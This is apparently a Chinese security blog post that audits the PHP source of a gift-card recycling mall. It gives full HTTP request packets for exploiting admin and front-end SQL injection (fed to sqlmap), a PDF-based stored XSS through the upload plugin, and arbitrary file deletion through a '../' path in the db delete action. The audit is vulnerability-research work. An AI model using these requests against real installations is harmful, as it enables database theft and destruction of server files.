点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
项目介绍
环境搭建
代码审计
项目分析
鉴权分析
前台文件寻找
SQL注入
后台sql注入
前台sql注入
PDF_XSS
后台任意文件删除
最后
项目介绍
最新PHP礼品卡回收商城 点卡回收系统源码,各大电商平台优惠券秒杀拼团限时折扣回收商城带余额宝
FOFA结果:
环境搭建
源码获取见文末
源码下载到本地,采用小皮搭建
修改数据库配置文件,并导入.sql文件
数据库配置文件:config.php
sql文件:datadbbackup20211130@213546xiaoyao_507dc7e7#v1.sql
配置成功后访问即可
后台地址:
http://ip:port/admin/webadmin.php
这里我不知道密码是什么就自己在数据库里面改了,MD5加密,直接替换字符串即可
代码审计
项目分析
这是一套非框架的系统,但是有自写访问路由
入口文件一共有4个,index.php,user.php,api.php,admin/webadmin.php
我们这里拿user.php来分析,其它几个都一样
前面是鉴权代码,后面是路由,这里说下如何快速定位路由,这里我们加上行代码,打印包含的文件
print_r("{$pe['path_root']}module/{$module}/{$mod}.php");
然后找个用户的功能点点击测试
这样就可以知道如何访问对应文件,照猫画虎下即可
也可以详细的分析代码,这里我们关注{$module}&{$mod}的获取,文件中没有看到,看包含文件:common.php
$mod在第27行通过post或者get获取,$module则是在43行通过当前访问脚本名称获取,也就是user,这样路由我们就搞清楚了,接着看传参,这套系统的传参也是封装的
这里没看到方法定义,还是看包含文件:common.php
简单来说_g开头代表GET接收参数,_p代表POST接收参数,_s代表SESSION接收参数
SQL注入
全局搜索query(
发现除了几处,大部分都是封装的方法
跟踪方法
这里我们先看下_dowhere方法,看下有没有过滤
这里没有看到过滤,那么我们就关注,下面几个方法中的where能否可控
这里只能慢慢找了,这里为了快点直接搜索$sql_where,因为翻看过后发现大部分传入的变量名都是这个,可能会有缺少
后台sql注入
后台非常多注入,这里随便演示一处
对应文件:admin/module/cashout.php
这里4个参数都可以注入,没有看到过滤代码
构造访问数据包
GET /admin/webadmin.php?mod=cashout&cat=&name=123* HTTP/1.1
Host: dianka:9911
Referer: http://dianka:9911/admin/webadmin.php?mod=order_pay
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: PHPSESSID=s4pcctmv53236ep503n4ktc3c6
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
sqlmap启动
前台sql注入
这个找了一会时间,大部分地方不是有过滤就是不可控
对应文件:module/user/agent.php
这个文件多个方法都有注入,但是需要代理用户权限,这个要申请管理员后台同意,前台没找到可以修改身份的接口,有利用难度但是算前台的
构造数据包
GET /user.php?act=agent_pay&mod=agent&user_id=123* HTTP/1.1
Host: dianka:9911
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=491ri0bv1m417k4afp3pds4n6n
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://dianka:9911
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Referer: http://dianka:9911/user.php?mod=setting&act=base
Accept-Language: zh-CN,zh;q=0.9
sqlmap启动
PDF_XSS
对应文件:
public/plugin/webuploader/app_upload.php
这个是测文件上传的时候的退而求其次
在审计文件上传时,发现有白名单过滤,看了下文件后缀
可以上传PDF,测个XSS
恶意文件项目地址:
https://github.com/ynsmroztas/pdfsvgxsspayload
构造数据包
POST /public/plugin/webuploader/upload.php HTTP/1.1
Host: dianka:9911
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer: http://dianka:9911/user.php?mod=setting&act=logo
Cookie: PHPSESSID=491ri0bv1m417k4afp3pds4n6n
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryejnBfOIwO8SBlkmL
Origin: http://dianka:9911
Content-Length: 1350
------WebKitFormBoundaryejnBfOIwO8SBlkmL
Content-Disposition: form-data; name="id"
WU_FILE_0
------WebKitFormBoundaryejnBfOIwO8SBlkmL
Content-Disposition: form-data; name="name"
ELOG.png
------WebKitFormBoundaryejnBfOIwO8SBlkmL
Content-Disposition: form-data; name="type"
image/png
------WebKitFormBoundaryejnBfOIwO8SBlkmL
Content-Disposition: form-data; name="lastModifiedDate"
Tue Jan 01 1980 08:00:00 GMT+0800 (中国标准时间)
------WebKitFormBoundaryejnBfOIwO8SBlkmL
Content-Disposition: form-data; name="size"
203
------WebKitFormBoundaryejnBfOIwO8SBlkmL
Content-Disposition: form-data; name="file"; filename="ELOG.ppt"
Content-Type: image/png
//文件内容
------WebKitFormBoundaryejnBfOIwO8SBlkmL--
后台任意文件删除
搜索关键词 unlink(
对应文件:public/function/global.func.php
查找用法
创建个文件测试
构造数据包
POST /admin/webadmin.php?mod=db&act=del&dbname=../../caigosec.txt HTTP/1.1
Host: dianka:9911
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dianka
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=s4pcctmv53236ep503n4ktc3c6
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Length: 116
pe_token=2dbffdb73b97300622580933208938be
最后
[源码获取]微信公众号回复“最新PHP礼品卡”获取下载地址
二期公开课《PHP代码审计速成》持续更新中...
直播通知和课件都会在交流群中发布,由于二群人数有点多了,新建个群,对于文章内容有疑问,技术交流可进(已经在1,2群的师傅没事就不用进了)
原文始发于微信公众号(菜狗安全):【PHP代审】最新PHP礼品卡回收商城
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论